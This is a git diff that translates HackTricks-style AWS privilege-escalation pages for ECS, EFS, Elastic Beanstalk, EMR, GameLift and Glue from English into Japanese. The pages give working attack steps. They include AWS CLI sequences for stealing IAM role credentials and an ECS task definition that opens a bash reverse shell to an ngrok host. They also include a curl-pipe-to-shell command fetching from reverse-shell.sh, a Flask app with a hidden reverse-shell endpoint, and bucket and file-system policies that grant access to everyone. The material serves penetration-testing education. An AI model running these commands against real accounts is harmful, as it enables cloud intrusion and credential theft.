どのECSロールへの直接的な権限昇格。 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\ +これは依然として興味深いです。なぜなら、任意のコンテナを実行できる場合、たとえロールなしであっても、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行中の**他のECSコンテナロール**を**盗む**ことができるからです。\ +さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、彼らの資格情報を盗むことができます（[**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されています）。 > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能です。 ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +**`ecs:ExecuteCommand`** と **`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます（`aws ecs execute-command` を実行するためには describe 権限が必要です）。\ +しかし、そのためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります（デフォルトでは実行されていません）。 -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +したがって、攻撃者は以下を試みることができます： +- **すべての実行中のコンテナでコマンドを実行しようとする** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- 彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。 +- 彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。 +- 彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。 +- 彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。 -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +**これらのオプションの例**は **以前のECSプライベートセクション**にあります。 -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**潜在的な影響:** コンテナに付随する別のロールへのプライベートエスカレーション。 ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +**ssmプライベートセクション**で、この権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください： {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +**ec2プライベートセクション**で、これらの権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください： {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: 攻撃者が制御するマシンでタスクが実行されるように、異なるAWSアカウントからインスタンスを登録することは可能ですか？ ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: これをテストする +`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新**することができます。これにより、攻撃者は **サービス内で任意のコードを実行**することができます。 ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**潜在的な影響**: 影響を受けたサービスで任意のコードを実行し、その機能に影響を与えたり、機密データを抽出したりする可能性があります。 -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## 参考文献 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..75402dffe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +EFSに関する**詳細情報**は以下にあります： {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +EFSをマウントするには、EFSが公開されているサブネットワークにいる必要があり、アクセス権（セキュリティグループ）が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +これらの権限のいずれかを持っていると、攻撃者は**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。 +ポリシーを削除するには： ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +変更するには： ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +この権限を持つ攻撃者は**EFSをマウント**することができます。もし書き込み権限がデフォルトでEFSをマウントできるすべての人に与えられていない場合、彼は**読み取りアクセス**のみを持つことになります。 ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に**書き込む**ためと、そのファイルシステムに**ルート**として**アクセス**するために使用できます。 -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。 ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +攻撃者がEFSの**マウントターゲット**が存在しない**サブネット**内にいる場合、彼はこの権限を使って**自分のサブネットに作成する**ことができます。 ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。 ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することができる**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..ed0bef6cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -11,12 +11,11 @@ More **info about Elastic Beanstalk** in: {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Beanstalkで敏感なアクションを実行するには、**多くの異なるサービスで多くの敏感な権限を持っている必要があります**。例えば、**`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**に与えられた権限を確認できます。 -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`、S3書き込み権限 & その他多数 +**環境のコード**を含むS3バケットに対する**書き込み権限**とアプリケーションを**再構築**するための権限（`elasticbeanstalk:RebuildEnvironment`と`S3`、`EC2`、`Cloudformation`に関連するいくつかの権限が必要です）を持っていると、**コード**を**変更**し、アプリを**再構築**することができ、次回アプリにアクセスすると**新しいコードを実行**します。これにより、攻撃者はアプリケーションとそのIAMロールの資格情報を危険にさらすことができます。 ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` など... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +上記に加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** の権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。 +- AWS Elastic Beanstalk アプリケーションを作成する: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- AWS Elastic Beanstalk 環境を作成する ([**サポートされているプラットフォーム**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +環境がすでに作成されていて、**新しいものを作成したくない**場合は、既存のものを**更新**するだけです。 -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- アプリケーションコードと依存関係をZIPファイルにパッケージします: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- ZIPファイルをS3バケットにアップロードします: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- AWS Elastic Beanstalk アプリケーションバージョンを作成する: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- AWS Elastic Beanstalk 環境にアプリケーションバージョンをデプロイします: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +まず最初に、**前のステップ**に従って、**被害者**で実行したい**コード**を含む**正当なBeanstalk環境**を作成する必要があります。これには、これらの**2つのファイル**を含む単純な**zip**が必要です： {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +あなた自身の **Beanstalk 環境で** リバースシェルを実行している場合、次は **それを移行** する時です。そうするためには、あなたの Beanstalk S3 バケットの **バケットポリシーを更新** して **被害者がアクセスできるように** する必要があります（これにより、バケットが **誰にでも開放される** ことに注意してください）： ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..002de7273 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +これらの権限を持つ攻撃者は、**EC2ロールをアタッチして新しいEMRクラスターを実行**し、その資格情報を盗もうとすることができます。\ +これを行うには、**アカウントにインポートされたsshプライベートキーを知っているか、インポートする必要があり**、**マスターノードでポート22を開くことができる必要があります**（`--ec2-attributes`内の`EmrManagedMasterSecurityGroup`および/または`ServiceAccessSecurityGroup`の属性を使用してこれを行うことができるかもしれません）。 ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +注意が必要なのは、`--service-role` で **EMRロール** が指定され、`--ec2-attributes` 内で **ec2ロール** が指定されていることです。しかし、この技術はEC2ロールの資格情報を盗むことしかできず（ssh経由で接続するため）、EMR IAMロールは盗むことができません。 -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**潜在的な影響:** 指定されたEC2サービスロールへの権限昇格。 ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +これらの権限を持つ攻撃者は、**AWSコンソール**にアクセスし、ノートブックを作成してそれにアクセスし、IAMロールを盗むことができます。 > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。 -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。 ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +この権限だけで、攻撃者は **Jupyter Notebookにアクセスし、それに関連付けられたIAMロールを盗む** ことができます。\ +ノートブックのURLは `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` です。 > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。 -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..411fbadd3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +この権限を持つ攻撃者は、Amazon GameLiftのAmazon S3に新しいゲームビルドファイルをアップロードする際に使用するための**新しい認証情報のセットを取得**できます。**S3アップロード認証情報**が返されます。 ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## 参考文献 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..f43ae1829 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定**し、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てる**ことができます。 +セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます： ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することをお勧めします。 -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**潜在的な影響：** 指定されたGlueサービスロールへの権限昇格。 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに付随するロールの権限でコマンドを実行できます： ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint 